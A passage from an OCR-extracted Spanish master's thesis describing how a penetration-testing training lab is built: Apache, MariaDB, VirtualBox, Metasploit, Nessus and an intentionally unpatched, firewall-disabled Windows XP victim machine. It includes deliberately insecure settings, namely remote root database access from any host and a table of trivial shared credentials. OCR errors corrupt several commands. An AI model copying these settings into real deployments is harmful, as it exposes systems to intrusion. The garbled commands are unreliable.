o Nessus para analisis de vulnerabilidades.

23
Disefio e implementacién de sistema informatico para entrenamiento en test de intrusion



Master Universitario en Ingenieria de Software y

Julian Camilo Fonseca Romero
Sistemas informaticos

La justificacion del uso del anterior software se explicard mas adelante. De momento la
Figura 4 muestra la arquitectura del sistema informatico descrita en el mddulo

Infraestructura.

Informatic Security Simulator Information System

| o Base de datos
g Postgresql - | . Base de datos
H : | MariaDB
SIMULADOR S
APLICACION

Contenido PHP : Gestion de ISSIS

Contenido PHP : Guia Practica
Test de Intrusion

¢
~I7 Usuarios

7N

Arquitecto f/&a

Administrador

Figura 4. Arquitectura de ISSIS (Elaboracion propia)
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4.2.4. Implementacion

Para el desarrollo del sistema informatico, se tiene una maquina con las siguientes
caracteristicas:

e Procesador Intel Core i7 de primera generacién con soporte para virtualizacion.
e Disco duro 600GB.
e Memoria RAM de 6GB.

La distribucion LINUX seleccionada es MANJARO la cual estd basada en ArchLINUX.
Debido a que MANJARO LINUX tiene varias ediciones se escoge la edicion net. Esta
edicion se caracteriza por permitir al usuario tener control sobre el software a instalar desde
el comienzo de la instalacién. De esta forma es posible moldear el sistema operativo acorde
a las necesidades del sistema informatico. Una vez inicie el sistema con el LiveCD se
realizan las siguientes tareas:

e Particionamiento de disco duro.

e Formato de particiones.

e |Instalacion de sistema base.

e Instalacion de drivers.

e Generacion de caracteres es_CO.UTF8 y en_US.UTF8 para codificacion de alfabeto en
espanol.

e Asignacion de distribucién de teclado para terminales TTY.

e Seleccién de horario internacional para establecimiento de tiempo de sistema.

e Instalacidn de GRUB para inicio de sistema operativo.

e Asignacion de nombre de maquina.

e Establecimiento de contrasefia para el usuario root.

e Creacion de usuarios del sistema.

La Figura 5 muestra las particiones de la maquina anfitriona.

NAME MAJ:MIN RM S5I7E RO MOUNTPOINT
sda 8:0 8 596,2G
sdal : 8 953M J/boot
sda2 - e 7,56 [SWAP]

sda3 : 8@ 93,1G !
sdad : B 494,76 Jhome
1 1824M

Figura 5. Particiones de maquina anfitriona (Elaboracion propia)
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El disco duro de 600 GB se dividi6 en cuatro particiones.

La primera particion tiene un tamafio de 953MB y pertenece al fichero “/boot” donde se

encuentran los archivos de inicio del sistema.

La segunda particion es de 7.5GB y pertenece a la asignhacién de memoria SWAP la cual

sirve cuando el sistema quede sin memoria RAM disponible.

La tercera particion tiene un tamafio de 93.1GB y pertenece al directorio “/” donde se

almacenan los directorios y ficheros del sistema operativo.

La cuarta particion tiene un tamafio de 494.7 GB y en este se almacenan todos los archivos
de los usuarios del sistema y por ende del sistema informético. En esta particion se
encuentra asignado el directorio de nombre isis el cual pertenece al usuario isis. En el

directorio isis se almacenan toda informacioén relacionada con el sistema informatico.
La Figura 6 muestra el contenido del directorio isis.

isis@issis
Jfhome/fisis
isis@issis
total 16K

drwxr-xr-x 22 12:33 Descargas/
drwxr-xr-x 22 12:33 Documentos/
drwxr-xr-x 23 69:11 ISSIS/
-FW-P--r-- ] 22 15:25 mensaje

Figura 6. Directorio ISSIS (Elaboracion propia)

Antes de instalar y configurar cualquier cosa es necesario actualizar el sistema. MANJARO
LINUX se caracteriza por ser rolling release lo cual implica que el sistema no tiene versiones

y no queda obsoleto. EI comando es:

$ sudo pacman -Syyu

Con este comando se actualiza el sistema operativo, el software instalado en el mismo y sus

repositorios.
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La Tabla 3 muestra el software instalado en la méquina anfitriona y su descripcion.

Tabla 3. Software instalado en sistema informéatico

Software Descripcién
fish Linea de comandos inteligente y facil de
is
usar como reemplazo de bash.
Divide la pantalla en varias secciones. Util
screen para cuando se trabajan con varias
herramientas a la vez.
Muestra informacion del sistema en formato
screenfetch
ASCII
_ Consola grafica que emula una terminal
terminator _
Linux.
Servidores y clientes que permiten acceso
° nssh .
Openss remoto a sistemas. Todos los datos que
e mosh . . .
transiten en sus conexiones va encriptado.
e xorg-server Conjunto de aplicaciones que permiten
® Xxorg-apps obtener un ambiente gréfico del sistema.
* xorgxauth Estas aplicaciones son usadas por
e xorg-xhost o fe
escritorios gréficos o gestores de ventanas.
e xorg-xclock _
Se instala el gestor de ventanas twm el cual
e xorg-twm

Elaboracion propia

Es necesario deshabilitar IPv6 ya que el sistema informatico no lo requiere. Para esto se

modifica el fichero /etc/default/grub colocando lo siguiente:

GRUB_CMDLINE_LINUX_DEFAULT="ipv6.disable=1"

También modificar el fichero /etc/hosts agregando # para comentar todo lo que tenga que
ver con ipv6. Por Ultimo es necesario regenerar el grub para que se descarte la activacion de

IPv6 cuando inicie el sistema operativo. Esto se hace con el siguiente comando:

$ sudo grub-mkconfig -0 /boot/grub/grub.cfg
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Ahora se procede a instalar y configurar el servidor apache con soporte para lenguaje
interpretado php, la base de datos mariadb y los gestores de bases de datos phpMyAdmin y
phpPgAdmin. Para instalar el anterior software se ejecuta el siguiente comando:

Ejecutar el siguiente comando para que el servicio web inicie y quede habilitado con el inicio

del sistema.

$ sudo systemctl start httpd.service
$ sudo systemctl enable httpd.service

Ahora se procede modificar el fichero de configuracion del servidor apache en
/etc/httpd/conf/httpd.conf asi:

ServerAdmin fonsecamilo89@gmail.com
DocumentRoot “/home/isis/ISSIS/www”

<Directory “/home/isis/ISSIS/www”>

Se configura este fichero para que la ubicacion por defecto del servidor apache sea
/homelisis/ISSIS/www. De esta forma todos los archivos de la aplicacibn web estaran
ubicados en esta ruta. Es necesario dar permisos de ejecucion a otros usuarios a la carpeta
/homelisis para evitar problemas al momento de que el servidor web sirva los contenidos.

Para esto se ejecuta el siguiente comando:

$ sudo chmod 701 /homelisis

Para que el intérprete PHP funcione sin problemas en el servidor HTTP se debe modificar el
siguiente contenido en /etc/httpd/conf/httpd.conf:

#loadModule mpm_event_module modules/mod_mpm_event.so //Comentar esta linea
LoadModule mpm_prefork_module modules/mod_mpm_prefork.so //Descomentar esta linea
LoadModule php7_module modules/libphp7.so //Adicionar esta linea

AddHandler php7-script php //Adicionar esta linea

Include conf/extra/php7_module.conf //Adicionar esta linea en la seccién de Include

Ahora es necesario configurar la base de datos mariadb. Ejecutar el siguiente comando:

$ sudo mysql _install db --user=mysql --basedir=/usr --datadir=/var/lib/mysq|
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El parametro --basedir indica donde se instala la aplicacion. El parAmetro —datadir indica
donde se guardan las tablas de las bases de datos. A continuacion se ejecutan los

siguientes comandos para iniciar el servicio de bases de datos y que inicie con el sistema:

$ sudo systemctl start mariadb.service
$ sudo systemctl enable mariadb.service

Ahora es necesario iniciar el asistente para configurar seguramente mariadb. En este
asistente se permite que el usuario root pueda conectarse a la base de datos remotamente y

se establece la contrasefia de root. El asistente inicia con el siguiente comando:

$ sudo mysql secure installation

Con el fin de que se pueda acceder a la base de datos desde cualquier direccion IP se
modifica el fichero /etc/mysql/my.cnf. A continuacién se muestra como debe modificarse:

[mysqld]

skip-external-locking //descomentar para evitar blogqueo de intento de acceso remoto.
#skip-networking //comentar para evitar evadir networking sobre la base de datos.
bind-address=0.0.0.0 //se asigna direccion 0.0.0.0 para especificar que se puede acceder a

la plataforma desde cualquier direccién IP.

Una vez configurado el acceso remoto a la base de datos, se ingresa de forma local a la
misma con el usuario root y se crea el usuario de nombre isis. A continuacién se muestran

los comandos para esto:

$ mysql -u root -p

$(mysqgl) GRANT ALL PRIVILEGES ON *.* TO root@ %  IDENTIFIED BY "root password’;
$(mysql) FLUSH PRIVILEGES;

$(mysqgl) CREATE USER “isis’@ %  IDENTIFIED BY isis password’;

$(mysql) GRANT ALL PRIVILEGES ON *.* TO “isis’ @ % ;

$(mysql) FLUSH PRIVILEGES;

Por ultimo reiniciar el servicio de la base de datos con el siguiente comando:

$ sudo systemctl restart mariadb.service
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A continuacion se configura la aplicacion phpMyAdmin para la gestion de la base de datos
de mariadb. El fichero /etc/php/php.ini se modifica asi:

extension=pdo_mysql.so //Descomentar esta linea
extension=pgsql.so //Descomentar esta linea para base de datos postgresq|
extension=mysqli.so //Descomentar esta linea

extension=soap.so // Descomentar esta linea

Se crea el archivo de configuracion /etc/httpd/conf/extra/phpmyadmin.conf y se modifica asi:

Alias /isisdb "/usr/share/webapps/phpMyAdmin"
<Directory "/usr/share/webapps/phpMyAdmin">
Directorylndex index.php
AllowOverride All
Options FollowSymlinks
Require all granted
</Directory>

En el fichero /etc/httpd/conf/httpd.conf incluir lo siguiente:

# phpMyAdmin
Include conf/extra/phpmyadmin.conf

Colocar una contrasena de 32 caracteres en el fichero

/etc/webapps/phpmyadmin/config.inc.php asi:

$ cfg['blowfish_secret’] =*’; /*YOU MUST FILL IN THIS ....*/

Finalmente reiniciar el servicio httpd.service y probar el acceso a las bases de datos por
medio de phpMyAdmin en el navegador web con la direccién IP de la maquina anfitriona.
Si la direccion del sistema fuera 192.168.0.2 entonces el acceso al servidor web es por

medio del siguiente enlace:
http://192.168.0.2/isisdb

Las credenciales de acceso son las mismas creadas anteriormente.
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Seguidamente se procede a configurar la aplicacion phpPgAdmin para gestion de la base de
datos postgresql la cual es wusada por metasploit. Se crea el fichero
/etc/httpd/conf/extra/phppgadmin.conf y se modifica de la siguiente forma:

Alias /osirisdb "/usr/share/webapps/phppgadmin”
<Directory "/usr/share/webapps/phppgadmin”>
Directorylndex index.php
AllowOverride All
Options FollowSymlinks
Require all granted

</Directory>

En el fichero /etc/httpd/conf/httpd.conf incluir lo siguiente:

# phpPostgresq|
Include conf/extra/phppgadmin.conf

En el fichero /etc/php/php.ini descomentar la siguiente linea:

open_basedir = /srv/http/:/home/:/tmp/:/usr/share/pear/:/usr/share/webapps/:/etc/webapps/

En el fichero /etc/webapps/phppgadmin/config.inc.php establecer la direccion IP donde reside la base

de datos de la siguiente forma:

$conf['servers’|[0][‘host']=192.168.0.2; //Direccién de host donde reside base de datos postgresqg|

$conf['servers’][0][‘port']=5432; /Puerto de host donde reside base de datos postgresq|

Reiniciar el servicio httpd.service y probar el acceso a la base de datos postgresql con el

siguiente link:
http://192.168.0.2/osirisdb

Después de instalar el software necesario para el aplicativo web, se procede a instalar el

software necesario para la virtualizacion. Con el comando:

$ uname -
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Se identifica la version del kernel de sistema operativo instalado. Segun la version del
kernel, se selecciona el paquete virtualhost-module a instalar. De esta forma se garantiza
compatibilidad entre el hypervisor VirtualBox a instalarse y el sistema. En el momento de
instalar la version del kernel es: 4.4.63-1-MANJARO, por tanto el virtualhost-module es

linux44-virtualbox-host-modules. Instalar virtualBox con el siguiente comando:

pacman -S virtualbox phpvirtualbox

Es necesario agregar el usuario isis al grupo vboxusers. Esto se hace de la siguiente forma:

$ sudo gpasswd -a isis vboxusers

Ahora se descarga e instala el pack de extension de virtualBox lo cual implica mejor
compatibilidad y mejoras sobre el hypervisor. Para esto se ejecuta el siguiente comando:

$ sudo vboxmanage extpack install Oracle VM VirtualBox Extension Pack-5.1.20.vbox-extpack|

Se debe reiniciar el sistema operativo. Una vez reiniciado verificar que los moédulos vboxpci,
vboxnetflt, vboxnetapd y vboxdrv estén cargados en el kernel. Estos modulos se identifican

al ejecutar siguiente comando:
$sudo Ismod

Con los anteriores pasos ya se tiene instalado el hypervisor. Ahora es necesario configurar
la aplicacion phpvirtualbox para controlar el hypervisor remotamente. Lo primero es copiar el
contenido de config.php-example a config.php. Esto se realiza ejecutando el siguiente

comando:

lusr/share/webapps/phpvirtualbox/config.php-example /etc/webapps/phpvirtualbox/config.php

En el fichero /etc/webapps/phpvirtualbox/config.php es necesario colocar el nombre del
usuario y su contrasefia del sistema operativo para que phpvirtualbox pueda iniciarse sin

inconvenientes. Por tanto en config.php colocar lo siguiente:

var $username = ‘isis’ //colocar nombre del usuario de manjaro que corre virtualbox

var $password = ‘isis’ //colocar password del usuario de manjaro que corre virtualbox

Ahora es necesario crear un enlace simbolico de config.php en
lusr/share/webapps/phpvirtualbox/. Este enlace sera usado mas adelante por apache. Si el

link ya esta4 no hay problema. El comando para crear el enlace es:

$In -s de /etc/webapps/phpvirtualbox/config.php /usr/share/webapps/phpvirtualbox/config.php
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Al igual que las anteriores aplicaciones, es necesario crear la configuracion en apache para

que el servidor web pueda mostrarla a los usuarios. En este caso se copia la configuracion

por defecto y luego se modifica. Para esto se ejecuta el siguiente comando:

Inmediatamente en el fichero /etc/httpd/conflextra/phpvirtualbox.conf se modifica lo

siguiente:

Alias /simulador //Cambiar phpvirtualbox por simulador

Modificar el fichero /etc/httpd/conf/httpd.conf de la siguiente manera para permitir el acceso

remoto al hypervisor por medio del servidor web apache:

Include conf/extra/phpvirtualbox.conf //Incluir la configuracién de phpvirtualbox en apache.

Finalmente habilitar e iniciar el servicio vboxweb.service ejecutando los siguientes

comandos:

$sudo systemctl enable vboxweb.service
$sudo systemctl start vboxweb.service
$sudo systemctl restart httpd.service]

Verificar que el acceso remoto al hypervisor es posible ingresando en el navegador web el

siguiente enlace:
http://192.168.0.2/simulador

Las credenciales de acceso son el usuario de nombre admin y la contrasefia de nombre
admin. Es necesario establecer la ubicacién de las maquinas virtuales que se crearan. Es
por eso que en preferencias establecer la siguiente ubicacion por defecto:
/home/isis/ISSIS/simulador. Para obtener una mejor compatibilidad por si se llega a requerir

trabajar a futuro con hypervisor diferente, establecer el tipo de disco con extensién vmdk.

Ahora que el hypervisor esta listo, es necesario crear las maquinas virtuales. Para ahorrar
tiempo, inicialmente se decide crear dos maquinas virtuales base. Una tipo Linux que solo
tiene los servicios basicos y otra maquina Windows xp la cual también no tiene ninguna
herramienta o software adicional instalado. Se escoge Windows Xp ya que el soporte de
seguridad para la misma finaliz6 desde el 2014 y por tanto es vulnerable. A partir de estas

maquinas se crean las demas maquinas del sistema. Para esto se clonan las mismas y
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sobre sus clones se instala el software requerido. De esta forma existiran maquinas de
primera y segunda generacion. Las maquinas de segunda generacion, heredan las
caracteristicas de las méaquinas de primera generacion. A cada maquina de segunda
generacion se le instala nuevo software. El software a instalar va acorde a la funcionalidad
de la méaquina. La Figura 7 muestra la distribucibn de maquinas virtuales creadas

clasificandolas como de primera o segunda generacion.

-

NG

L7 1raGeneracion
4] 5] MANJAROG4
' a @ Apagada
“-"" victimaxp32
ﬁ @ Apagada

L7 2daGeneracion

[64f %] OSIRIS

'. @ﬁmagada

[64F %] HORUS

'. @ﬁmagada
“-"" victimaxp32sp2
ﬁ @ﬁmagada

7 testIntrusion

64 5] HORUS

'. @ﬁmagada
“-"" victimaxp32sp2
ﬁ @ﬁmagada

4] %] OSIRIS
a @Apagada

Figura 7. Distribucién de maquinas virtuales (Elaboracién propia)

La Figura 7 también muestra un grupo llamado testintrusién. En este grupo se encuentran las
maquinas virtuales que fueron creadas a partir del grupo de segunda generacion. Las
maquinas virtuales OSIRIS y HORUS fueron creadas a partir de la maquina virtual de
primera generacion de nombre MANJAROG64 mientras que la maquina virtual de segunda
generacion victimaxp32sp2 fue creada a partir de la maquin virtual de primera generacion
victimaxp32. Las maquinas virtuales de segunda generacién tienen sus propias
herramientas y son personalizadas segun uso. El administrador del sistema solo tendra que

iniciar y apagar las maquinas virtuales ubicadas en el grupo de test de intrusion. Las demas
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maquinas virtuales son de utilidad a la persona con rol de Arquitecto. Para el test de
intrusién es necesario crear una maquina virtual de nombre OSIRIS. En esta maquina se
encuentran instaladas algunas de las herramientas que la persona con rol de usuario usara
al momento de hacer un test de intrusion. Asi mismo en esta maquina se encuentra el
contenido de la practica del test de intrusion a desarrollar. A continuacién se muestra como

configurar la maquina virtual OSIRIS.

La finalidad principal de OSIRIS es ser un servidor web exclusivo de practicas. Todo lo que
se haga en la carpeta /home/isis/ISSIS/www/practicas de la maquina anfitriona ISIS se vera
reflejado en la méquina virtual OSIRIS.

Se clona de MANJAROG64 y se instala lo siguiente:

Es necesario no olvidar habilitar el intérprete de php para esta maquina virtual también. Las

instrucciones para habilitarlo estan en la pagina 28.

Se crea usuario osiris y se nombra a la maquina osiris. Agregar osiris y http al grupo vboxsf
para evitar problemas en el servidor web apache.

En phpVirtualBox en la configuracion de la méaquina virtual OSIRIS colocar carpeta
compartida auto-montada sin marcar de solo lectura en /home/isis/ISSIS/www/practicas de

la maquina anfitriona. Habilitar el servicio de virtualbox en la méquina huésped asi:
La carpeta compartida en OSIRIS aparecera en: /media/sf_practicas
Modificar /etc/httpd/conf/httpd.conf para que DocumentRoot apunte a /media/sf_practicas

En phpVirtualBox agregar una tarjeta de red extra a OSIRIS. La primera tarjeta de red debe
estar configurada con re direccionamiento de puerto NAT. La Figura 8 muestra como se

configurd el re direccionamiento de puertos con NAT.

=" Port Forwarding Rules

| MName | Protocol | HostiP | HostPort | GuestiP | GuestPort |
http TCP 192.168.0.2 81 10.0.2.15 80 \
nessus TCP 192.168.0.2 8834  10.0.2.15 8834
postaresql TCP 192.168.0.2 5432 10.0.2.15 5432

Figura 8. Nat en Osiris (Elaboracion propia)
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Se decide instalar NESSUS (escéner de vulnerabilidades en OSIRIS) ya que el programa
requiere licencia y a futuro de llegar a ver mas de dos usuarios en el sistema informatico, no
es Optimo descargar una licencia por cada maquina virtual en la que se instale NESSUS.
Con una sola maquina en la que se instale NESSUS es suficiente y se crean multiples
usuarios en el mismo programa accesible desde una sola maquina la cual en este caso es
una maquina virtual de nombre OSIRIS. Para instalar NESSUS ejecutar el siguiente

comando:
$yaour —S nessus

Habiendo instalado NESSUS ahora es momento de configurar la base de datos postgresq|l
la cual es usada por el framework metasploit. Lo primero es asignar una contrasefia al

usuario posgres con el siguiente comando:

$suso passwd postgres|

Ahora es necesario ingresar al sistema con el usuario postgres. Esto se hace con el

siguiente comando:
$sudo -u postgres -i

Es necesario habilitar el cluster de las bases de datos y habilitar su servicio. Esto se hace

con los siguientes comandos:

$(postgres) initdb —locale $LANG —E UTF8 —D ‘/var/lib/postgres/data’

$sudo systemctl enable postgresql.service

En el fichero /var/lib/postgres/data/postgresql.conf, descomentar listen_addresses y colocar:

listen_addresses =’ #permite conexiones remotas desde cualquier direccion IP.

En el fichero /var/lib/postgres/data/pg_hba.conf editar y colocar:

#TYPE DATABASE USER ADDRESS METHOD
local all all trust

host msf horus 192.168.0.0/16 password
host all osiris 10.0.0.0/16 password

La anterior configuracion permitira que solo desde ciertas direcciones y ciertos usuarios

puedan conectarse remotamente a las bases de datos. Esto da seguridad al sistema.
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Volver aingresar a postgres con $sudo -u postgres -i y crear usuarios y bases de datos con

el siguiente comando:

$(postgres) createuser --interactive]

Una vez ejecutado el anterior comando, se crea el usuario de nombre horus y que NO
tenga privilegios excepto el de crear bases de datos. Es necesario también crear el usuario
osiris el cual si debe tener privilegios. Ahora se debe crear una password para el usuario

horus y el usuario osiris. Esto se hace con los siguientes comandos:

$(postgres)psagl -¢ “ALTER USER horus WITH PASSWORD ‘horus’”
$(postgres)psagl -¢ “ALTER USER osiris WITH PASSWORD ‘osiris’ ”

A continuacion se crea la base de datos msf y se asigna como duefio de la misma al usuario

horus. Esto se hace con el siguiente comando:
$(postgres) createdb msf -U horu

Para verificar que verdaderamente se creé la base de datos, ejecutar el siguiente comando

el cual listara las bases de datos creadas:
$(postgres)psq! -

Probar que es posible conectarse a la base de datos de forma local con el siguiente

comando:

Si la conexion anterior de forma local fue exitosa, ahora conectarse remotamente con el

siguiente comando:

$psql -h 192.168.10.1 -U horus -d msf

Con la ejecucion exitosa del anterior comando, el siguiente paso es verificar la conexion
remota desde la maquina virtual horus. La maquina virtual horus se crea a partir de la
clonacion de la maquina virtual MANJAROG64. En horus se habilita el servicio ssh y se instala

el escéner de red nmap y el framework de metasploit con el siguiente comando:

$sudo pacman -S nmap metasploit]
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Una vez instalado metasploit, verificar conexion a base de datos postgresgl la cual esta
instalada en la maquina virtual OSIRIS. Entrar a metasploit en modo consola con el

siguiente comando:
$msfconsole

Una vez en la linea de comandos de metasploit, verificar conexion a la base de datos msf

con los siguientes comandos:

connect db horus:horus@192.168.10.1/msf

$(msf) db status

El resultado del comando db_status muestra que la conexién ha sido exitosa. Ahora solo

queda por configurar la maquina victima. Esta es un clon a partir de la maquina virtual de
primera generacion de nombre victimaxp32. En esta nueva maquina virtual se habilita
Internet Information Serices en su version 5.1 y se instala Microsoft SQL EXPRESS como
motor de base de datos. Se deshabilita firewall y no se instala antivirus para dejarla

vulnerable y el usuario pueda realizar la practica de test de intrusién sobre la misma.
La Tabla 4 muestra el resumen del direccionamiento IPv4 del sistema informético.

Tabla 4. Direccionamiento IPv4 de ISSIS

Direccionamiento Descripcion
192.168.0.1 - Router
192.168.0.0/24 192.168.0.2 - ISSIS

(Reservado para topologia fisica) | 192.168.0.(11-255) - Administrador
192.168.0.(11-255) — USUARIO

192.168.10.1 — OSIRIS (Virtual)

192.168.10.0/24 192.168.10.2 — HORUS (Virtual)
(Topologia Mixta - Universo 10) | 192.168.10.3 — VICTIMAXP (Virtual)
192.168.10.11 — USUARIO (Fisico)

192.168.11.1 — OSIRIS (Virtual)

192.168.11.0/24 192.168.11.2 — HORUS (Virtual)
(Topologia Mixta - Universo 11) | 192.168.11.3 — VICTIMAXP (Virtual)
192.168.11.11 — USUARIO (Fisico)

192.168.12.1 — OSIRIS (Virtual)

192.168.12.0/24 192.168.12.2 — HORUS (Virtual)
(Topologia Mixta - Universo 12) | 192.168.12.3 — VICTIMAXP (Virtual)
192.168.12.11 — USUARIO (Fisico)

10.0.2.0/24 — NAT

(Topologia virtual — Red NAT) 10.0.2.15 — OSIRIS (Virtual)

Elaboracion propia
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La Tabla 5 muestra las credenciales de acceso a cada servicio o0 maquina virtual y anfitrion
de ISSIS. Las credenciales con color verde significan que son para la persona con rol de
administrador del sistema. Las credenciales con color amarillo significan que son para la

persona con rol de usuario del sistema.

Tabla 5. Credenciales de acceso ISSIS

MAQUINA usuario password
isis isis
ISSIS —
root isis
ISSIS: MARIADB isis isis
_ admin isis
ISSIS: phpVirtualBox _ _
osiris osiris
ISSIS: phpPgAdmin - osirisdb osiris osiris
ISSIS: phpMyAdmin - isisdb isis isis
manjaro64 root root
. root root
osiris _ _
osiris osiris
. osiris osiris
osiris:nessus
horus horus
postgres postgres
osiris: postgresq| osiris osiris
horus horus
root root
horus
horus horus
victimaxpsp2 victima victima

Elaboracion propia

Con esto termina el médulo Infraestructura. De momento se tienen las tecnologias
instaladas y configuradas para que los médulos Simulador, Préacticas y Aplicaciéon funcionen

sin problemas. A continuacion se describe la implementacion de los demas médulos.
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El modulo Simulador funciona a partir de la gestion de las maquinas virtuales. La persona
con rol de Administrador solo tiene que activarlas y apagarlas acorde a la guia de gestion
del sistema informético. El modulo Simulador va de la mano con el médulo Infraestructura y
su instalacion, configuracion y topologia ya fueron definidas anteriormente. Por tanto a

continuacién se describe la implementacion del médulo précticas.

El modulo Précticas tiene dos funciones principales. Por un lado orienta al administrador
para uso correcto del sistema y sepa qué hacer con los recursos disponibles. Estos recursos
basicamente son maquinas virtuales, el hypervisor web, acceso a la base de datos y a la
configuracion del router. Por otro lado define la guia para que la persona con rol de Usuario
aprenda a ejecutar un test de intrusion. De esta manera se tienen dos clases de guias. Una
de sistema y otra de préacticas. El contenido de las guias de sistema trata sobre la gestion y
uso correcto del sistema. Mientras que las guias practicas tratan sobre los pasos a seguir
para realizar un test de intrusion. Se toma la decisiébn que las guias practicas estén en
formato web y pdf. Mientras que las guias de gestion estan solo en formato web. En los

anexos se muestra la guia practica en formato pdf.

El médulo Aplicacién se implementa usando una metodologia bésica de ingenieria de
software. Esto es asi ya que la aplicacion web no es el sistema informético. La aplicaciéon
web hace parte del sistema informatico. Por tanto los esfuerzos de disefio, desarrollo,
implementacién y pruebas van enfocados al sistema en general y no se centran en la
aplicacion web. Sin embargo se realiza un procedimiento basico de ingenieria de software
para realizar la aplicacion web. Este procedimiento se basa en seguir las fases de andlisis,
disefio, implementacion y pruebas. La fase pruebas se desarrolla en conjunto con la fase
pruebas del sistema informético. Las demas fases se desarrollan dentro del maddulo

Aplicacién.

En la fase de andlisis se describe brevemente el problema, se establecen los requisitos que
debe cumplir la aplicacion web y se realizan unos diagramas de uso. En la fase de disefio se
describe el comportamiento dinamico de la aplicaciébn web a través de un diagrama de
actividad. En la fase de implementacion se describe el codigo php del lado del servidor cuya
funcionalidad se basa en el diagrama de actividad presente en la fase de disefio. Finalmente
las pruebas sobre la aplicacion web se ejecutan en conjunto con las pruebas desarrolladas

sobre el sistema informatico.
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4.2.4.1. Andlisis de la aplicacion web

Se definen los requisitos que la aplicacion web debe cumplir. Estos requisitos son:

1 Se debe contar con una interfaz de acceso al sistema con credenciales previamente
establecidas. El método de autenticacién es usuario y contrasefia.

2 Unavez ingresadas las credenciales, la aplicacién web debe informar si el usuario existe o no
existe. También debe reportar si la contrasena ingresada no es correcta.

3 Lacreacién de usuarios del sistema informatico debe ser a nivel de cddigo fuente.

La asignacion de roles de los usuarios debe ser a nivel de cddigo fuente.

5 Dependiendo del rol de usuario, este tendra o no tendrd acceso a ciertos contenidos HTML
de la aplicacién web.

6 Sila persona que ingresa al sistema tiene rol de Administrador, debe tener acceso a las
herramientas necesarias para gestionar el sistema.

7 Sila persona que ingresa al sistema tiene rol de Usuario, se le debe permitir seleccionar el
espacio virtual en el cual quiere trabajar y una vez dentro de ese espacio, debe tener a
disposicion la guia y las herramientas necesarias para aprender a realizar el test de intrusién.

8 La aplicaciéon web debe limitarse a ser implementada con cédigo HTML, CSS, PHP y JavaScript
con JQUERY.

Los primeros siete requisitos son funcionales y el dltimo requisito es no funcional.

En el primer requisito funcional, se debe implementar una interfaz de acceso ya que los
recursos del sistema son limitados y si no hay una gestion de usuarios el sistema podria
colapsar. No todas las personas tienen acceso al sistema. Solo aquellas personas que se

les asigne un usuario con contrasefia y rol de usuario podran acceder al sistema.

En el segundo requisito funcional, la aplicacion web informa cualquier problema que halla al
momento de ingresar al sistema. Si el nombre de usuario ingresado no existe, el sistema lo
notificara. Si el usuario existe pero la contrasefia ingresada no es correcta, el sistema lo
notificard. De esta manera el usuario se dard cuenta del origen del problema y podra
solucionarlo rapidamente ya sea corrigiendo el nombre, la contrasefia o simplemente

dandose cuenta que el usuario aun no se ha creado.

En el tercer requisito funcional, los usuarios deben ser creados a nivel de cédigo fuente o
sea la aplicacion web no debe contar con ninguna interfaz para creacién y gestion de
usuarios. Por tanto, no es necesario usar una base de datos. Este requisito de momento
pareciera que le quitara funcionalidad y seguridad al sistema, sin embargo la razén para
hacerlo asi se debe a que solo una persona estd a cargo del andlisis, disefio,
implementacion y depuracion del sistema informatico cuyo tiempo de entrega es muy corto.

Esto se explica con més detalle en la seccion de las conclusiones.
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El cuarto requisito funcional va de la mano con el tercer requisito funcional. Es decir la
asignacion de roles debe ir también en el cédigo fuente. Se debe encontrar la forma en que
el nombre del usuario, la contrasefia y su rol se gestionen en el cédigo fuente de la
aplicacion. Esto depende en gran medida del lenguaje de programacion seleccionado para
implementar la aplicacion web. En este caso con el lenguaje de programacion web php es
posible realizar esto sin problemas.

El quinto requisito funcional, trata sobre el camino a seguir una vez la persona ha ingresado
en el sistema. Esto depende de su rol de usuario. Si la persona tiene rol de Administrador,
esta serd dirigida a la secciéon donde esta el contenido web que describe la gestion del
sistema informatico. Si la persona tiene rol de Usuario, esta sera dirigida a la seccion donde
esta el contenido web que describe la practica del test de intrusion.

El sexto requisito funcional consiste en el desarrollo de una interfaz en la que la persona con
rol de Administrador dispone de todas las herramientas para gestionar el sistema
informatico. Una de estas herramientas es el médulo simulador el cual permite gestionar el

hypervisor remotamente a través de una aplicacion web.

El séptimo requisito funcional consiste en el desarrollo de una interfaz en la que la persona
con rol de Usuario se le permita seleccionar el espacio en el que desee trabajar. Los
espacios virtuales son redes virtuales aisladas en capa tres del modelo OSI cuyos equipos
estan configurados con direccionamiento estatico IPv4. De esta forma las acciones que un
usuario realice sobre el sistema, no afectard a otro usuario ya que los espacios virtuales no
se comunican entre si. Una vez el usuario esté dentro de su espacio virtual, tendra acceso a

la web de practicas donde aprendera a realizar el test de intrusion.

El octavo requisito es de tipo no funcional. Se decide que para la implementacion de la
aplicacion web solo se usen leguajes de programacion web php, javascript con jquery y
lenguajes de etiquetado html y CSS. Con esto se evita el uso de cualquier framework. De
momento pareciera que se limitara el trabajo, sin embargo esto se decide asi ya que solo
hay una persona a cargo del disefio e implementacion del sistema y la misma no tiene
conocimiento del uso de cualquier framework. El tiempo de entrega del proyecto es corto por
tanto el uso de un framework se deja para trabajo a futuro. Esto se describe con mas detalle

en la seccion de trabajo a futuro.
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A continuacion se muestran los diagramas de casos de uso. Los cuales ayudan a

comprender mejor la aplicacion web.

Aplicacion web

= Acceso al sistema —

Administrador

Fawarssl By sus RRRgEm S munity Edition @

Usuario

Figura 9. Caso de uso Acceso a la aplicacién web (Elaboracién propia)

En la Figura 9Figura 9 se ve el caso de uso que representa la funcionalidad de la aplicaciéon
web donde las personas independiente de su rol de usuario; puedan ingresar al sistema por

medio del método usuario y contrasefa.

Aplicacion web
—] Gestion de 1ISSIS
Administrador
1 By al Pamadigm Community Edition 0

Figura 10. Caso de uso Gestion de ISSIS (Elaboracién propia)

La Figura 10 muestra el caso de uso cuando la persona con rol de Administrador ha logrado
ingresar al sistema. La aplicacion web sirve las herramientas a disposicion del Administrador

para que pueda gestionar a ISSIS.

Usuario
P d By Vis

Figura 11. Caso de uso Seleccién de universo (Elaboracién propia)

La Figura 11 muestra el caso de uso cuando la persona con rol de usuario ha ingresado al

sistema y debe seleccionar algin universo o espacio virtual para trabajar en ISSIS.
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Aplicacion web

Desamollar guia
Test de Intrusion

Usuario

Figura 12. Caso de uso Desarrollo test de intrusion (Elaboracién propia)

La Figura 12 muestra el caso de uso cuando la persona con rol de usuario luego de haber
seleccionado el universo de trabajo, ahora se dispone a seguir los pasos de la guia del test
de intrusion presente en la aplicacion web. En este caso de uso, no solo sirve los contenidos
de la guia sino también sirve las herramientas para poder desarrollar esa guia. Por ejemplo
una de estas herramientas es el programa portable Putty el cual permite acceso remoto a un
sistema ya sea con protocolo ssh o telnet.

4.2.4.2. Disefio de la aplicacion web

